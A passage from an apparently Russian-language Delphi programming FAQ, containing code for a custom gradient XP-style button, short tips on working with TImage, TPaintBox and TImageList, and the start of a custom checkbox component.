              Canvas.BrushCopy (IconRect, Glyph,(GBtn.Glyph.Canvas.ClipRect),(clBlue));
              Gbtn.Glyph.FreeImage;

              end;
      end;
   end;

   If Gbtn.Selected then
        if not gbtn.MouseCapture then
      begin
 //gradient begin
                  v:=0;
    Selector.top := Selector.bottom - 1;
    for i := ARect.bottom downto ARect.top do
    begin
      if (Selector.top < ARect.bottom)
        and (Selector.top > Arect.bottom + 5) then
        inc(v, 1)
      else
        inc(v, 3);

      if v > 96 then v := 96;

      Canvas.Brush.Color := NewColor(Canvas, $0000A9E1, v);
      Canvas.FillRect(Selector);

      Selector.top := Selector.top -1;
      Selector.bottom := Selector.top + 1;

      Canvas.Brush.Style := bsClear;
      Canvas.Pen.color := $00984E00;
      Canvas.RoundRect(ARect.Left ,
                Arect.top , Arect.right ,
                Arect.bottom , 5, 5);

      Canvas.Brush.Style:= bsSolid;
      Canvas.Brush.Color := FSelBackColor;
      Canvas.FillRect(FRect);

       Canvas.Font.color := FSelFontColor;

        DrawtextEx(Gbtn.Canvas.Handle,
        PChar(SelText),
        Length(SelText),
        txtRect,
        TextFormat, nil);

                      if not gbtn.Glyph.Empty THEN Canvas.Rectangle (iconRect);
              begin
              Canvas.CopyRect(IconRect,Canvas,(GBtn.Glyph.Canvas.ClipRect));
              Canvas.BrushCopy (IconRect, Glyph,(GBtn.Glyph.Canvas.ClipRect),(clBlue));
              Gbtn.Glyph.FreeImage;

              end;
     end;
 end;

        //draw the  outline
        Canvas.Brush.Style := bsClear;
        Canvas.Pen.color := $00984E00;
        Canvas.RoundRect(ARect.Left,
                ARect.top, ARect.right,
                ARect.bottom, 5, 5);

        //override the button canvas
        Canvas.Brush.Style := bsSolid;
        Canvas.Brush.Color:= FColor;
        Canvas.FillRect(Frect);

        //over ride the text
                 DrawtextEx(Gbtn.Canvas.Handle,
        PChar(SelText),
        Length(SelText),
        txtRect,
        TextFormat, nil);

                if not gbtn.Glyph.Empty THEN Canvas.Rectangle (iconRect);
              begin
              Canvas.CopyRect(IconRect,Canvas,(GBtn.Glyph.Canvas.ClipRect));
              Canvas.BrushCopy (IconRect, Glyph,(GBtn.Glyph.Canvas.ClipRect),(clBlue));
              gbtn.Glyph.FreeImage;

                end;
    end;

end;

Procedure TGsXPButton.Style1(AOwner : TComponent);
var
        Gbtn: TGsXPButton;
        Right, Bottom: integer;
        Selector, txtRect, ARect, iconRect, FRect: TRect;
        FColor, FSelBackColor, FSelFontColor: TColor;
        FSelBorderColor: TColor;
        SelText: String;
        TextFormat: integer;
        x1, y1 : integer;
        i,v : integer;
        CWidth, CHeight: INTEGER;
begin
  inherited;
//let the games begin
        Gbtn:= TGsXPButton(Self);
        FColor := eColor;
        FSelBackColor := eSelBackColor;
        FSelFontColor := eSelFontColor;
        Bottom := (Gbtn.Canvas.ClipRect.Bottom);
        Right := (Gbtn.Canvas.ClipRect.Right);
        ARect.Top := (Gbtn.Canvas.ClipRect.Top);
        ARect.Right := Right;
        ARect.Bottom := Bottom;
        Arect.Left := (Gbtn.Canvas.ClipRect.Left);
        TextFormat := DT_Left;
        SelText :=( '  ' + (Gbtn.Caption));

      If Gbtn.Active then
      Gbtn.Style := 1;
        begin
        Flat:= True;
        font.Color := font.Color;
        Color := FColor;

        Selector := Rect( ARect.Left , ARect.Top ,
        ARect.right , ARect.bottom );

        FRect:= Rect(Arect.Left+3,Arect.Top +3,
        Arect.Right -3, Arect.Bottom -3);

        //capture the image rect and layout image and text
        //Heavy on the math...

if not Glyph.Empty then begin
       if Layout = blGlyphLeft then begin
          SelText:= SelText;

        iconRect:=(Glyph.Canvas.ClipRect);
        CWidth:=(Glyph.Width + Canvas.TextWidth(SelText));

        iconRect.Left := (ARect.Right - CWidth) div 2;
        iconRect.Top := (ARect.Bottom - Glyph.Height) div 2 ;
        iconRect.Right := (iconRect.Left + Glyph.Width);
        iconRect.Bottom := (iconRect.Top + Glyph.Height);
        x1:= (iconRect.Right);
        y1:= (Arect.Bottom - Canvas.TextHeight(SelText)) div 2;
        TxtRect:= Rect (X1,Y1, Selector.Right, Selector.Bottom );
        end
        else
        if Layout = blGlyphRight then begin
        Seltext := SelText + '  ';

        iconRect:=(Glyph.Canvas.ClipRect);
        CWidth:=(Glyph.Width + Canvas.TextWidth(SelText));
        TxtRect:= (Gbtn.Canvas.ClipRect);

        TxtRect.Left := (ARect.Right - CWidth) div 2;
        TxtRect.Top := (Arect.Bottom - Canvas.TextHeight(SelText)) div 2;
        TxtRect.Right := (TxtRect.Left + Canvas.TextWidth(SelText));
        TxtRect.Bottom := (TxtRect.Top + Canvas.TextHeight(SelText));

        IconRect.Left := (TxtRect.Right);
        iconRect.Top := (ARect.Bottom - Glyph.Height) div 2 ;
        iconRect.Right := (iconRect.Left + Glyph.Width);
        iconRect.Bottom := (iconRect.Top + Glyph.Height);
        end
        else
        if Layout = blGlyphTop then begin
        SelText := SelText;
        iconRect:=(Glyph.Canvas.ClipRect);
        CHeight:= (Canvas.TextHeight(SelText)+ Glyph.Height) div 2;

        TxtRect:= (Gbtn.Canvas.ClipRect);

        IconRect.Left := (Canvas.ClipRect.Right div 2) - (glyph.Width div 2);
        iconRect.Top := (ARect.Bottom div 2) - (CHeight) ;
        iconRect.Right := (iconRect.Left + Glyph.Width);
        iconRect.Bottom := (iconRect.Top + Glyph.Height);

        TxtRect.Left := (ARect.Right div 2) - (Canvas.TextWidth(Seltext) div 2);
        TxtRect.Top := (iconRect.Bottom + 2);
        TxtRect.Right := (TxtRect.Left + Canvas.TextWidth(SelText));
        TxtRect.Bottom := (TxtRect.Top + Canvas.TextHeight(SelText));
        end
        else
        if Layout = blGlyphBottom then begin
        SelText := SelText;
        iconRect:=(Glyph.Canvas.ClipRect);
        TxtRect:= (Gbtn.Canvas.ClipRect);

        TxtRect.Left := (ARect.Right div 2) - (Canvas.TextWidth(Seltext) div 2);
        TxtRect.Top := (ARect.Bottom div 2) - ((glyph.Height + Canvas.TextHeight(Seltext)) div 2) ;
        TxtRect.Right := (TxtRect.Left + Canvas.TextWidth(SelText));
        TxtRect.Bottom := (TxtRect.Top + Canvas.TextHeight(SelText));

        IconRect.Left := (Canvas.ClipRect.Right div 2) - (glyph.Width div 2);
        iconRect.Top := (txtRect.Bottom + 2) ;
        iconRect.Right := (iconRect.Left + Glyph.Width);
        iconRect.Bottom := (iconRect.Top + Glyph.Height);
        end;
        end
        else
        if Glyph.Empty Then
        begin
        SelText := SelText;
        x1:= (Arect.Right - Canvas.TextWidth(SelText))div 2;
        y1:= (Arect.Bottom - Canvas.TextHeight(SelText)) div 2;
        TxtRect:= Rect (X1,Y1, Selector.Right, Selector.Bottom );
        end;

      Canvas.Brush.Style:= bsSolid;
      Canvas.Brush.Color := FColor;
      Canvas.FillRect(ARect);

IF GBtn.Default THEN
  IF not Selected then
    If not Gbtn.MouseCapture then
  begin
        v:=0;
    Selector.top := Selector.bottom - 1;
    for i := ARect.bottom downto ARect.top do
    begin
      if (Selector.top < ARect.bottom)
        and (Selector.top > Arect.bottom + 5) then
        inc(v, 1)
      else
        inc(v, 2);

      if v > 96 then v := 96;

      Canvas.Brush.Color := NewColor(Canvas, $00FF8080, v);
      Canvas.FillRect(Selector);
      Selector.top := Selector.top -1;
      Selector.bottom := Selector.top + 1;

      Canvas.Brush.Style := bsClear;
      Canvas.Pen.color := $00984E00;
      Canvas.Rectangle(ARect.Left ,
                Arect.top , Arect.right ,
                Arect.bottom );

      Canvas.Brush.Style:= bsSolid;
      Canvas.Brush.Color := FSelBackColor;
      Canvas.FillRect(FRect);

           //draw the text

        DrawtextEx(Gbtn.Canvas.Handle,
        PChar(SelText),
        Length(SelText),
        txtRect,
        TextFormat, nil);

      end;
   end;

   If Gbtn.Selected then
        if not gbtn.MouseCapture then
      begin
 //gradient begin
                  v:=0;
    Selector.top := Selector.bottom - 1;
    for i := ARect.bottom downto ARect.top do
    begin
      if (Selector.top < ARect.bottom)
        and (Selector.top > Arect.bottom + 5) then
        inc(v, 1)
      else
        inc(v, 3);

      if v > 96 then v := 96;

      Canvas.Brush.Color := NewColor(Canvas, $0000A9E1, v);
      Canvas.FillRect(Selector);

      Selector.top := Selector.top -1;
      Selector.bottom := Selector.top + 1;

      Canvas.Brush.Style := bsClear;
      Canvas.Pen.color := $00984E00;
      Canvas.Rectangle(ARect.Left ,
                Arect.top , Arect.right ,
                Arect.bottom );

      Canvas.Brush.Style:= bsSolid;
      Canvas.Brush.Color := FSelBackColor;
      Canvas.FillRect(FRect);

       Canvas.Font.color := FSelFontColor;

        DrawtextEx(Gbtn.Canvas.Handle,
        PChar(SelText),
        Length(SelText),
        txtRect,
        TextFormat, nil);

     end;
 end;

        //draw the  outline
        Canvas.Brush.Style := bsClear;
        Canvas.Pen.color := $00984E00;
        Canvas.Rectangle(ARect.Left,
                ARect.top, ARect.right,
                ARect.bottom);

        //override the button canvas
        Canvas.Brush.Style := bsSolid;
        Canvas.Brush.Color:= FColor;
        Canvas.FillRect(Frect);

        //over ride the text
                 DrawtextEx(Gbtn.Canvas.Handle,
        PChar(SelText),
        Length(SelText),
        txtRect,
        TextFormat, nil);

                if not gbtn.Glyph.Empty THEN Canvas.Rectangle (iconRect);
              begin
              Canvas.CopyRect(IconRect,Canvas,(GBtn.Glyph.Canvas.ClipRect));
              Canvas.BrushCopy (IconRect, Glyph,(GBtn.Glyph.Canvas.ClipRect),(clBlue));
              gbtn.Glyph.FreeImage;
                end;
    end;

end;

Procedure TGsXPButton.Paint;
var
        Gbtn: TGsXPButton;
begin
//this grabs all the speedbuttons properties
        inherited;
//protect our design environment
  if not (csDesigning in ComponentState) then
  begin
        Gbtn:= TGsXPButton(Self);

If Gbtn.Active then
    If Gbtn.Style = 0 then
    begin
    Style0(Self);
    end
    else
    If Gbtn.Style = 1 then
    begin
     Style1(Self);
    end;
   end;
end;

//Begin Ok Button
  //inherits from the GSXPButton. only caption changed
  //same for cancel button.
  //make mods to main button, changes are inherited.

constructor TGsXPOkButton.Create( AOwner : TComponent );
begin
  // Don't forget to call the ancestor's constructor
  inherited Create( AOwner );
  Caption := '&OK';

end;

//Begin Cancel Button

constructor TGsXPCancelButton.Create( AOwner : TComponent );
begin
  inherited Create( AOwner );
  Caption := '&Cancel';
end;

procedure Register;
begin
  RegisterComponents('GenieOSTools', [TGsXPButton, TGsXPOKButton, TGsXPCancelButton]);
end;

end.

Взято с http://delphiworld.narod.ru


Image, Icon, Shape, PainBox

Cодержание раздела:

Каким образом задать прозрачный цвет иконки?
Как сохранить содержимое TPaintBox в BMP
Если отображается только часть TImage
Сохранить TImagelist в файл со всем содержимым New!
Перемещение Image New!
Хитрость вывода изображения New!

См. также статьи в других разделах:
Извлечение изображения из BLOB-поля
Загрузка изображений в Blob-поля
Сохранить в базе картинку формата JPEG
Приёмы работы с BLOB (OLE/Memo) полями
Sending an image to the printer
Как распечатать TImage?
Как использовать TImageList для рисования прозрачных картинок


Каким образом задать прозрачный цвет иконки?

По умолчанию цвет нижнего левого пикселя считается прозрачным, только та программа/контрол/компонент который отражает эту иконку должна поддерживать прозрачность...

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Как сохранить содержимое TPaintBox в BMP

var
  Bitmap: TBitmap;
  Source: TRect;
  Dest: TRect;
begin
  Bitmap := TBitmap.Create;
  try
    with Bitmap do
    begin
      Width := MyPaintBox.Width;
      Height := MyPaintBox.Height;
      Dest := Rect(0, 0, Width, Height);
    end;
    with MyPaintBox do
      Source := Rect(0, 0, Width, Height);
    Bitmap.Canvas.CopyRect(Dest, MyPaintBox.Canvas, Source);
    Bitmap.SaveToFile('MYFILE.BMP');
  finally
    Bitmap.Free;
  end;
end;

Взято с http://delphiworld.narod.ru


Если отображается только часть TImage

При увеличении размера компонента TImage в RunTime пытаюсь рисоватьзаново на всем поле, но отображается только часть компонента (прежнегоразмера). В чем дело?

Нужно при инициализации выполнить SetBounds(), с максимальными размерами.

Источник: http://dmitry9.nm.ru/info/


Сохранить TImagelist в файл со всем содержимым

// There are ready-made methods for saving any component including all its children to a file.
// For writing components use WriteComponentResFile(path + source filename , component name source)

WriteComponentResFile('C:\imagelist1.bin',imagelist1);

// For reading the data back to a component:
// component := ReadComponentResFile(path + source filename , component name traget)

imagelist1 := ReadComponentResFile('c:\imagelist1.bin', nil) as TImagelist;

// Tip 1 - Reading the component will give the same name of the component written so don't try to
// load it to another component, even if it was the same type. You will get a duplicate name and
// delphi will crash. But you can jump over this as a programmer

// Tip 2 - Get benfit of storing the heavy components inside compressed files,
// so you can get smaller programs

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Перемещение Image

Многие, наверно, сталкивались с проблемой перемещения Image'a по форме. Решить ее можно тремя способами (может есть и больше, но я знаю только три). Способ первый. Его суть заключается в том, что свойства Left и Top картинки изменяются на разницу между начальными и конечными координатами (нажатия и отпускания мыши соответственно). Этот способ самый простой и надежный, но у него есть один недостаток: left и top изменяются по очереди, что приводит к заметному мерцанию картинки. Тем не менее мы этот способ рассмотрим. Не забудьте положить на форму Image и вставить в нее какую-нибудь картинку. Для начала необходимо объявить глобальные переменные (они объявляются в разделе Implementation) x0, y0:integer - они будут запоминать начальные координаты. И еще нам понадобится переменная move типа boolean, чтобы нам отличать перемещение мыши над картинкой, от попытки ее сдвинуть. Эти объявления делаются примерно так:

implementation
{$R *.DFM}

var
  x0, y0: integer;
  move: boolean;

Теперь напишем обработчик OnMouseDown для нашей картинки:

procedure TForm1.Image1MouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
  if button <> mbLeft then
    move:=false //если нажали не левой кнопкой, то перемещать не будем!
  else
  begin
    move:=true;
    x0:=x; //запоминаем начальные координаты
    y0:=y; //запоминаем начальные координаты
  end;
end;

В этом участке кода проверяется какой кнопкой нажали на картинку. Если левой, то запоминаем координаты, а если любой другой, то перемещать нельзя. Теперь напишем обработчик OnMouseMove для нашей картинки:

procedure TForm1.Image1MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
begin
  if move then
  begin
    image1.Left:=image1.Left+x-x0; // Изменяем позицию левого края
    image1.Top:=image1.Top+y-y0; // Изменяем позицию верхнего края
  end;
end;

Ну и наконец обработчик OnMouseUp для нашей картинки будет таким:

procedure TForm1.Image1MouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
  move := false;
end;

Здесь все очень просто. Когда кнопка отпускается, то переменной move присваивается значение false, чтобы до следующего клика по картинке ее нельзя было сдвинуть. Этот способ довольно прост, как для понимания, так и для реализации. Но такой же алгоритм перемещения можно реализовать немного красивее. У некоторых компонентов, в том числе и Image, есть такая классная процедура SetBounds(Left,Top,Width,Height), которая может изменять сразу все четыре параметра. Таким образом событие OnMouseMove можно изменить так:

procedure TForm1.Image1MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
begin
  if move then
    image1.SetBounds(image1.Left+x-x0, image1.Top+y-y0,
    image1.width, image1.height);
end;

Но есть еще один очень интересный выход: по экрану можно перемещать не саму картинку, а только ее рамку, когда пользователь выберет место для картинки и отпустит кнопку - она туда переместиться. Для этого нам понадобится еще одна глобальная переменная: rec: TRect, которая будет хранить параметры картинки. Теперь слегка изменим обработчики событий для картинки. Таким образом все в целом будет выглядеть так:

procedure TForm1.Image1MouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
  if button<>mbLeft then
    move:=false
  else
  begin
    move:=true;
    x0:=x;
    y0:=y;
    rec:=image1.BoundsRect; //запоминаем контур картинки
  end;
end;

procedure TForm1.Image1MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
begin
  if move then
  begin
    Form1.Canvas.DrawFocusRect(rec); //рисуем рамку
    with rec do
    begin
      left:=Left+x-x0;
      top:=Top+y-y0;
      right:=right+x-x0;
      bottom:=bottom+y-y0;
      x0:=x;
      y0:=y; // изменяем координаты
    end;
    Form1.Canvas.DrawFocusRect(rec); // рисуем рамку на новом месте
  end;
end;

procedure TForm1.Image1MouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
  Form1.Canvas.DrawFocusRect(rec);
  with image1 do begin
    setbounds(rec.left+x-x0,rec.top+y-y0,width,height); //перемещаем картинку
    move:=false;
  end;
end;

Поскольку DrawFocusRect рисует рамку методом Xor, то при повторном вызове этой функции с теми же параметрами, рамка стирается. Этот очень красивый метод добавит в ваши программы много интересного.

Взято с http://delphiworld.narod.ru


Хитрость вывода изображения

Попробуйте установить:

Image1.ControlStyle := Image1.ControlStyle + [csOpaque];

в обработчике события формы OnCreate (или, по крайней мере прежде, чем вы покажете форму). Компоненты TImage изначально прозрачные (за исключением области, занятой изображением), поэтому сообщая Delphi, что компонент непрозрачен, вы тем самым помешаете что-либо "рисовать" на области, не занятой собственно изображением (типа клиентской области формы).

Взято с http://delphiworld.narod.ru


Checkbox

Cодержание раздела:

Видоизменяем чекбоксы в Delphi

См. также статьи в других разделах:
Как поместить TCheckBox внутри TRichEdit?
Как добавить TCheckBox в TStringGrid?


Видоизменяем чекбоксы в Delphi

В WIN3.1 чекбоксы заполняются символом "X". В WIN95 и WINNT - символом "V". В тандартной палитре Delphi чекбоксы заполняются символом "X". Спрашивается - почему фирма Borland/Inprise не исправила значёк чекбокса для W95/W98 ?. Данный пример позволяет заполнять чекбокс такими значками как: "X", "V", "o", "закрашенным прямоугольником", или бриллиантиком.

Пример тестировался под WIN95 и WINNT.

{
====================================================================
                          Обозначения
====================================================================
X = крестик
V = галочка
o = кружок

+-+
|W| = заполненный прямоугольник
+-+

/\
= бриллиантик
\/

====================================================================
                  Преимущества этого чекбокса
====================================================================
Вы можете найти множество чекбоксов в интернете. Но у них есть недостаток, они не обрабатывают сообщение WM_KILLFOCUS. Приведённый ниже пример делает это.
====================================================================
}
Unit CheckBoxX;

Interface

Uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

Const
   { другие константы }
   fRBoxWidth  : Integer = 13; // ширина квадрата checkbox
   fRBoxHeight : Integer = 13; // высота квадрата checkbox

Type
  TState = (cbUnchecked,cbChecked,cbGrayed); // такой же как в Delphi
  TType = (cbCross,cbMark,cbBullet,cbDiamond,cbRect); // добавленный
  TMouseState = (msMouseUp,msMouseDown);
  TAlignment = (taRightJustify,taLeftJustify); // The same

  TCheckBoxX = class(TCustomControl)

  Private
    { Private declarations }
    fChecked        : Boolean;
    fCaption        : String;
    fColor          : TColor;
    fState          : TState;
    fFont            : TFont;
    fAllowGrayed    : Boolean;
    fFocus          : Boolean;
    fType            : TType;
    fMouseState     : TMouseState;
    fAlignment      : TAlignment;
    fTextTop        : Integer;  // отступ текта с верху
    fTextLeft       : Integer;  // отступ текта с лева
    fBoxTop         : Integer;  // координата чекбокса сверху
    fBoxLeft        : Integer;  // координата чекбокса слева

    Procedure fSetChecked(Bo : Boolean);
    Procedure fSetCaption(S : String);
    Procedure fSetColor(C : TColor);
    Procedure fSetState(cbState : TState);
    Procedure fSetFont(cbFont : TFont);
    Procedure fSetAllowGrayed(Bo : Boolean);
    Procedure fSetType(T : TType);
    Procedure fSetAlignment(A : TAlignment);

  Protected
    { Protected declarations }
    Procedure Paint; override;
    Procedure MouseDown(Button: TMouseButton; Shift: TShiftState;
      X, Y: Integer); override;
    Procedure MouseUp(Button: TMouseButton; Shift: TShiftState;
      X, Y: Integer); override;
    Procedure WMKillFocus(var Message : TWMKillFocus);
      Message WM_KILLFOCUS; // это убирает контур фокуса!
    Procedure WMSetFocus(var Message : TWMSetFocus);
      Message WM_SETFOCUS; // Если вы используете клавишу TAB или Shift-Tab
    Procedure KeyDown(var Key : Word; Shift : TShiftState); override;
      // перехват KeyDown
    Procedure KeyUp(var Key : Word; Shift : TShiftState); override;
      // перехват KeyUp

  Public
    { Public declarations }
    // Если поместить Create и Destroy в раздел protected,
    // то Delphi начинает ругаться.
    Constructor Create(AOwner : TComponent); override;
    Destructor Destroy; override;

  Published
    { Published declarations }
    { --- Свойства --- }
    Property Action;
    Property Alignment : TAlignment
       read fAlignment write fSetAlignment;
    Property AllowGrayed : Boolean
       read fAllowGrayed write fSetAllowGrayed;
    Property Anchors;
    Property BiDiMode;
    Property Caption : String
       read fCaption write fSetCaption;
    Property CheckBoxType : TType
       read fType write fSetType;
    Property Checked : Boolean
       read fChecked write fSetChecked;
    Property Color : TColor
       read fColor write fSetColor;
    Property Constraints;
    //Property Ctrl3D;
    Property Cursor;
    Property DragCursor;
    Property DragKind;
    Property DragMode;
    Property Enabled;
    Property Font : TFont
       read fFont write fSetFont;
    //Property Height;
    Property HelpContext;
    Property Hint;
    Property Left;
    Property Name;
    //Property PartenBiDiMode;
    Property ParentColor;
    //Property ParentCtrl3D;
    Property ParentFont;
    Property ParentShowHint;
    //Property PopMenu;
    Property ShowHint;
    Property State : TState
       read fState write fSetState;
    Property TabOrder;
    Property TabStop;
    Property Tag;
    Property Top;
    Property Visible;
    //Property Width;
    { --- Events --- }
    Property OnClick;
    Property OnContextPopup;
    Property OnDragDrop;
    Property OnDragOver;
    Property OnEndDock;
    Property OnEndDrag;
    Property OnEnter;
    Property OnExit;
    Property OnKeyDown;
    Property OnKeyPress;
    Property OnKeyUp;
    Property OnMouseDown;
    Property OnMouseMove;
    Property OnMouseUp;
    Property OnStartDock;
    Property OnStartDrag;
  End;

Procedure Register; //Hello!

Implementation

{-------------------------------------------------------------------}
Procedure TCheckBoxX.KeyDown(var Key : Word; Shift : TShiftState);

Begin
If fFocus then
   If Shift = [] then
      If Key = 0032 then
         Begin
         fMouseState := msMouseDown;
         If fState <> cbGrayed then
            Begin
            SetFocus; // Устанавливаем фокус на этот компонент
                      // всем другим компонентам Windows посылает сообщение WM_KILLFOCUS.
            fFocus := True;
            Invalidate;
            End;
         End;
Inherited KeyDown(Key,Shift);
End;
{-------------------------------------------------------------------}
Procedure TCheckBoxX.KeyUp(var Key : Word; Shift : TShiftState);

Begin
If fFocus then
   If Shift = [] then
      If Key = 0032 then
         Begin
         If fState <> cbGrayed then
            fSetChecked(not fChecked); // Изменяем состояние
         fMouseState := msMouseUp;
         End;
Inherited KeyUp(Key,Shift);
End;
{-------------------------------------------------------------------}
Procedure TCheckBoxX.WMSetFocus(var Message : TWMSetFocus);

Begin
fFocus := True;
Invalidate;
End;
{-------------------------------------------------------------------}
Procedure TCheckBoxX.WMKillFocus(var Message : TWMKillFocus);

Begin
fFocus := False; // Удаляем фокус у всех компонент, которые не имеют фокуса.
Invalidate;
End;
{-------------------------------------------------------------------}
Procedure TCheckBoxX.fSetAlignment(A : TAlignment);

Begin
If A <> fAlignment then
   Begin
   fAlignment := A;
   Invalidate;
   End;
End;
{-------------------------------------------------------------------}
Procedure TCheckBoxX.fSetType(T : TType);

Begin
If fType <> T then
   Begin
   fType := T;
   Invalidate;
   End;
End;
{-------------------------------------------------------------------}
Procedure TCheckBoxX.fSetFont(cbFont : TFont);

Var
   FontChanged : Boolean;

Begin
FontChanged := False;

If fFont.Style <> cbFont.Style then
   Begin
   fFont.Style := cbFont.Style;
   FontChanged := True;
   End;

If fFont.CharSet <> cbFont.Charset then
   Begin
   fFont.Charset := cbFont.Charset;
   FontChanged := True;
   End;

If fFont.Size <> cbFont.Size then
   Begin
   fFont.Size := cbFont.Size;
   FontChanged := True;
   End;

If fFont.Name <> cbFont.Name then
   Begin
   fFont.Name := cbFont.Name;
   FontChanged := True;
   End;

If fFont.Color <> cbFont.Color then
   Begin
   fFont.Color := cbFont.Color;
   FontChanged := True;
   End;

If FontChanged then
   Invalidate;
End;
{-------------------------------------------------------------------}
procedure TCheckBoxX.MouseDown(Button: TMouseButton; Shift: TShiftState;
  X, Y: Integer);

Begin
// Процедура MouseDown вызывается, когда кнопка мышки нажимается в пределах
// кнопки, соответственно мы не можем получить значения координат X и Y.
inherited MouseDown(Button, Shift, X, Y);
fMouseState := msMouseDown;
If fState <> cbGrayed then
   Begin
   SetFocus; // Устанавливаем фокус на этот компонент
             // всем другим компонентам Windows посылает сообщение WM_KILLFOCUS.
   fFocus := True;
   Invalidate;
   End;
End;
{-------------------------------------------------------------------}
procedure TCheckBoxX.MouseUp(Button: TMouseButton; Shift: TShiftState;
  X, Y: Integer);

Begin
// Процедура MouseUp вызывается, когда кнопка мышки отпускается в пределах
// кнопки, соответственно мы не можем получить значения координат X и Y.
inherited MouseUp(Button, Shift, X, Y);
If fState <> cbGrayed then
   fSetChecked(not fChecked); // Изменяем состояние
fMouseState := msMouseUp;
End;
{-------------------------------------------------------------------}
Procedure TCheckBoxX.fSetAllowGrayed(Bo : Boolean);

Begin
If fAllowGrayed <> Bo then
   Begin
   fAllowGrayed := Bo;
   If not fAllowGrayed then
      If fState = cbGrayed then
         Begin
         If fChecked then
            fState := cbChecked
         else
            fState := cbUnChecked;
         End;
   Invalidate;
   End;
End;
{-------------------------------------------------------------------}
Procedure TCheckBoxX.fSetState(cbState : TState);

Begin
If fState <> cbState then
   Begin
   fState := cbState;
   If (fState = cbChecked) then
      fChecked := True;

   If (fState = cbGrayed) then
      fAllowGrayed := True;

   If fState = cbUnChecked then
      fChecked := False;

   Invalidate;
   End;
End;
{-------------------------------------------------------------------}
Procedure TCheckBoxX.fSetColor(C : TColor);

Begin
If fColor <> C then
   Begin
   fColor := C;
   Invalidate;
   End;
End;
{-------------------------------------------------------------------}
Procedure TCheckBoxX.fSetCaption(S : String);

Begin
If fCaption <> S then
   Begin
   fCaption := S;
   Invalidate;
   End;
End;
{-------------------------------------------------------------------}
Procedure TCheckBoxX.fSetChecked(Bo : Boolean);

Begin
If fChecked <> Bo then
   Begin
   fChecked := Bo;
   If fState <> cbGrayed then
      Begin
      If fChecked then
         fState := cbChecked
      else
         fState := cbUnChecked;
      End;
   Invalidate;
   End;
End;
{-------------------------------------------------------------------}
procedure TCheckBoxX.Paint;

var
  Buffer: array[0..127] of Char;
  I: Integer;
  fTextWidth, fTextHeight: Integer;

begin
{Get Delphi's componentname and initially write it in the caption}
  GetTextBuf(Buffer, SizeOf(Buffer));
  if Buffer <> '' then
    fCaption := Buffer;

  Canvas.Font.Size := Font.Size;
  Canvas.Font.Style := Font.Style;
  Canvas.Font.Color := Font.Color;
  Canvas.Font.Charset := Font.CharSet;

  fTextWidth := Canvas.TextWidth(fCaption);
  fTextHeight := Canvas.TextHeight('Q');

  if fAlignment = taRightJustify then
    begin
      fBoxTop := (Height - fRBoxHeight) div 2;
      fBoxLeft := 0;
      fTextTop := (Height - fTextHeight) div 2;
      fTextLeft := fBoxLeft + fRBoxWidth + 4;
    end
  else
    begin
      fBoxTop := (Height - fRBoxHeight) div 2;
      fBoxLeft := Width - fRBoxWidth;
      fTextTop := (Height - fTextHeight) div 2;
      fTextLeft := 1;
   //If fTextWidth > (Width - fBoxWidth - 4) then
   //   fTextLeft := (Width - fBoxWidth - 4) -  fTextWidth;
    end;

// выводим текст в caption
  Canvas.Pen.Color := fFont.Color;
  Canvas.Brush.Color := fColor;
  Canvas.TextOut(fTextLeft, fTextTop, fCaption);

// Рисуем контур фокуса
  if fFocus = True then
    Canvas.DrawFocusRect(Rect(fTextLeft - 1,
      fTextTop - 2,
      fTextLeft + fTextWidth + 1,
      fTextTop + fTextHeight + 2));

  if (fState = cbChecked) then
    Canvas.Brush.Color := clWindow;

  if (fState = cbUnChecked) then
    Canvas.Brush.Color := clWindow;

  if (fState = cbGrayed) then
    begin
      fAllowGrayed := True;
      Canvas.Brush.Color := clBtnFace;
    end;

// Создаём бокс clBtnFace когда кнопка мыши нажимается
// наподобие "стандартного" CheckBox
  if fMouseState = msMouseDown then
    Canvas.Brush.Color := clBtnFace;

  Canvas.FillRect(Rect(fBoxLeft + 2,
    fBoxTop + 2,
    fBoxLeft + fRBoxWidth - 2,
    fBoxTop + fRBoxHeight - 2));

// Рисуем прямоугольный чекбокс
  Canvas.Brush.Color := clBtnFace;
  Canvas.Pen.Color := clGray;
  Canvas.MoveTo(fBoxLeft + fRBoxWidth - 1, fBoxTop);
  Canvas.LineTo(fBoxLeft, fBoxTop);
  Canvas.LineTo(fBoxLeft, fBoxTop + fRBoxHeight);

  Canvas.Pen.Color := clWhite;
  Canvas.MoveTo(fBoxLeft + fRBoxWidth - 1, fBoxTop);
  Canvas.LineTo(fBoxLeft + fRBoxWidth - 1,
    fBoxTop + fRBoxHeight - 1);
  Canvas.LineTo(fBoxLeft - 1, fBoxTop + fRBoxHeight - 1);

  Canvas.Pen.Color := clBlack;
  Canvas.MoveTo(fBoxLeft + fRBoxWidth - 3, fBoxTop + 1);
  Canvas.LineTo(fBoxLeft + 1, fBoxTop + 1);
  Canvas.LineTo(fBoxLeft + 1, fBoxTop + fRBoxHeight - 2);

  Canvas.Pen.Color := clBtnFace;
  Canvas.MoveTo(fBoxLeft + fRBoxWidth - 2, fBoxTop + 1);
  Canvas.LineTo(fBoxLeft + fRBoxWidth - 2,
    fBoxTop + fRBoxHeight - 2);
  Canvas.LineTo(fBoxLeft, fBoxTop + fRBoxHeight - 2);

// Теперь он должен быть таким же как чекбокс в Delphi

  if fChecked then
    begin
      Canvas.Pen.Color := clBlack;
      Canvas.Brush.Color := clBlack;

   // Рисуем прямоугольник
      if fType = cbRect then
        begin
          Canvas.FillRect(Rect(fBoxLeft + 4, fBoxTop + 4,
            fBoxLeft + fRBoxWidth - 4, fBoxTop + fRBoxHeight - 4));
        end;

   // Рисуем значёк "о"
      if fType = cbBullet then
        begin
          Canvas.Ellipse(fBoxLeft + 4, fBoxTop + 4,
            fBoxLeft + fRBoxWidth - 4, fBoxTop + fRBoxHeight - 4);
        end;

   // Рисуем крестик
      if fType = cbCross then
